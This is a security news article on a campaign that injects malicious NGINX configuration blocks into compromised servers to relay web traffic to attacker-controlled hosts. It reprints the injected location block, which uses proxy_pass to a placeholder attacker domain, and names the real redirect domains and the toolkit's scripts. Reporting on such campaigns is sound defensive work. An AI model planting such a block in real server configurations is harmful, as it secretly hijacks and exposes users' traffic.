Malicious NGINX Configurations Used to Silently Redirect Legitimate Web Traffic

CyberDefender 7 mins0

A newly disclosed cyber threat campaign shows how attackers are weaponizing misconfigured or compromised web servers to hijack legitimate web traffic — turning widely-used infrastructure into covert pipelines for malicious activity. This isn’t a problem with the NGINX software itself, but rather how attackers are injecting malicious configuration directives that hijack the normal flow of traffic, allowing them to observe, manipulate, or redirect user requests without obvious disruption.

The Heart of the Problem: NGINX Configuration Abuse

At the core of modern web infrastructure, NGINX serves as both a web server and a reverse proxy, handling enormous volumes of traffic and directing them to the right backend services. Its behavior is defined by configuration files that contain directives such as:

  • proxy_pass — directs traffic to backend servers or clusters for load-balancing or application handling.
  • rewrite — alters incoming URLs to match backend expectations.
  • proxy_set_header — preserves important request context such as origin IP, host name, user agent and more.
  • location — determines how requests to specific paths are processed.

Under normal conditions, these directives help deliver content quickly and securely. But if those configuration files are tampered with, NGINX can be turned into an unwitting accomplice in an attack.

Malicious Configuration: How Attackers Hijack Traffic

Researchers at Datadog Security Labs uncovered automated toolkits that inject malicious configuration blocks into NGINX installations. The injected snippet typically looks like this:

location /%PATH%/ {
    set $fullurl "$scheme://$host$request_uri";
    rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break;
    proxy_set_header Host [Attacker_Domain];
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header User-Agent $http_user_agent;
    proxy_set_header Referer $http_referer;
    proxy_ssl_server_name on;
    proxy_pass http://[Attacker_Domain];
}

Here, the %PATH% placeholder and the attacker’s domain are dynamically filled during the injection process, effectively intercepting certain web requests and relaying them through infrastructure under the attackers’ control.

The rewrite at the start captures the full original URL, while proxy_pass redirects traffic to an external host, preserving headers to avoid detection. Since proxy_pass is a legitimate directive commonly used for load balancing or backend routing, this modification may go unnoticed by basic monitoring.

Targeted Domains and Traffic Patterns

The campaign doesn’t deploy a one-size-fits-all rule. Instead, injected configurations vary by domain type and region:

Targeted TLDsProxied PathsRedirected to Domain
.edu, .gov, .vn, .thpg, pgslot, slot, game, etc.th.cogicpt.org
.in, .id, .pe, .bdsame pathside.hashbank8.com
All .com domainshelp, news, page, blog, etc.xzz.pier46.com

This pattern suggests the attackers are not just casting a wide net — they are strategically selecting path patterns and TLD groupings that make their malicious redirects more likely to blend in with legitimate traffic.

The Injection Toolkit: How the Attack Works

The malicious campaign uses a multi-stage toolkit, composed of several shell scripts that work together:

  • Orchestrator (zx.sh) — Acts as the entry point, executing the rest of the stages using standard tools like curl or, if unavailable, low-level TCP requests.
  • Baota targeted injector (bt.sh) — Specifically looks for Baota (BT) panel installations and injects malicious rules into the expected configuration locations.
  • Advanced injector (4zdh.sh) — Targets a broader set of NGINX configuration directories and attempts to insert rules with fewer errors.
  • Linux/container injector (zdh.sh) — Focuses on standard NGINX locations like /etc/nginx/sites-enabled or /conf.d.
  • Mapper (ok.sh) — Generates a report of all active hijacking rules and exfiltrates it back to a command-and-control server.

In many cases, these scripts apply the malicious configuration without noticeable downtime or service interruption — often simply reloading NGINX so that existing connections remain active.

What This Means for Defenders

Because this campaign manipulates the configuration layer of web infrastructure, traditional detection methods that focus on content, malware signatures, or user-side activity may not notice anything amiss. To defend against this class of attack, organizations need to:

  • Monitor configuration integrity — Use file-monitoring or version-control systems to detect unauthorized changes in NGINX config files.
  • Harden access to management panels — Control and audit access to systems like Baota that expose configuration APIs or direct NGINX management.
  • Patch underlying vulnerabilities — Many campaigns like this begin with exploitation of vulnerabilities such as React2Shell (CVE-2025-55182) to gain initial server access. Keeping software up to date reduces that risk at the source.

CyberDefender